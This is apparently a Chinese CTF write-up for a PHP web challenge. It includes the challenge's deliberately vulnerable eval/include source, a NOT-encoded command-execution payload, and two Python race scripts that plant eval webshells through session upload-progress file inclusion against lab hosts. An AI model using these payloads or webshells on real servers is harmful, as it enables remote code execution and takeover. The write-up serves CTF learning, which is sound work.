题目
<?php
if(!isset($_GET['mode'])){
highlight_file(__file__);
}else if($_GET['mode'] == "eval"){
$shell = isset($_GET['shell']) ? $_GET['shell'] : 'phpinfo();';
if(strlen($shell) > 15 | filter($shell) | checkNums($shell)) exit("hacker");
eval($shell);
}
if(isset($_GET['file'])){
if(strlen($_GET['file']) > 15 | filter($_GET['file'])) exit("hacker");
include $_GET['file'];
}
function filter($var){
$banned = ["while", "for", "\$_", "include", "env", "require", "?", ":", "^", "+", "-", "%", "*", "`"];
foreach($banned as $ban){
if(strstr($var, $ban)) return True;
}
return False;
}
function checkNums($var){
$alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$cnt = 0;
for($i = 0; $i < strlen($alphanum); $i++){
for($j = 0; $j < strlen($var); $j++){
if($var[$j] == $alphanum[$i]){
$cnt += 1;
if($cnt > 8) return True;
}
}
}
return False;
}
?>
思路
简单文件包含
?mode=eval&shell=system(~%91%93%DF%D0%D5);
session文件包含
利用条件
-
目标环境开启了选项
session.upload_progress.enable
-
发送一个文件上传请求,其中包含一个文件表单和一个名字是的字段
PHP_SESSION_UPLOAD_PROGRESS
-
请求的Cookie中包含Session ID
经验
通用脚本,但是没有用成功
import requests
from re import findall as re_findall
from base64 import b64encode
from threading import Thread
HOST = 'http://node4.anna.nssctf.cn:28616/'
PHPINFO_URL = HOST + 'phpinfo.php'
LFI_URL = HOST + 'index.php'
WEB_SHELL = b'<?php eval($_POST[cmd]);?>'
session_configures = {}
resp_text = re_findall('<td class="e">session\.(.*?)</td><td class="v">(.*?)</td>', requests.get(PHPINFO_URL).text)
list(map(lambda x : session_configures.update({x[0] : x[1]}), resp_text))
if session_configures['upload_progress.enabled'] != 'On':
print('[-] Target is not vulnerable')
exit(-1)
success = False
def request_phpinfo():
exploit = f"<?php file_put_contents('/tmp/.shell.php', base64_decode('{b64encode(WEB_SHELL).decode()}')); echo md5('ccc');?>"
data = {session_configures['upload_progress.name'] : exploit}
cookies = {'PHPSESSID' : 'c'}
files = {'files' : ('hello.txt', b'A' * 1024 * 1024)}
while not success:
requests.post(PHPINFO_URL, data=data, cookies=cookies, files=files)
def request_sess_file():
global success
data = {'file' : session_configures['save_path'] + '/sess_c'}
while not success:
resp = requests.get(LFI_URL, params=data)
if '9df62e693988eb4e1e1444ece0578579' in resp.text:
print('[+] The webshell was successfully written to /tmp/.shell.php')
success = True
Thread(target=request_phpinfo).start()
Thread(target=request_sess_file).start()
这个成功了
import io
import threading
import requests
url = "http://node4.anna.nssctf.cn:28120/"
sess_id = "1"
file_name = '1.txt'
file_data = io.BytesIO(b'a' * 1024 * 50)
def write(session):
while True:
session.post(url, data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_GET["cmd"]);?>'},
cookies={'PHPSESSID': sess_id}, files={'file': (file_name, file_data)})
def read(session):
while True:
res = session.post(f"{url}?mode=foo&file=/tmp/sess_{sess_id}&cmd=system('nl /*');")
if file_name in res.text:
print(res.text)
break
else:
print("Retry")
if __name__ == "__main__":
evnet = threading.Event()
with requests.session() as session:
for i in range(5):
threading.Thread(target=write, args=(session,)).start()
for i in range(5):
threading.Thread(target=read, args=(session,)).start()
evnet.set()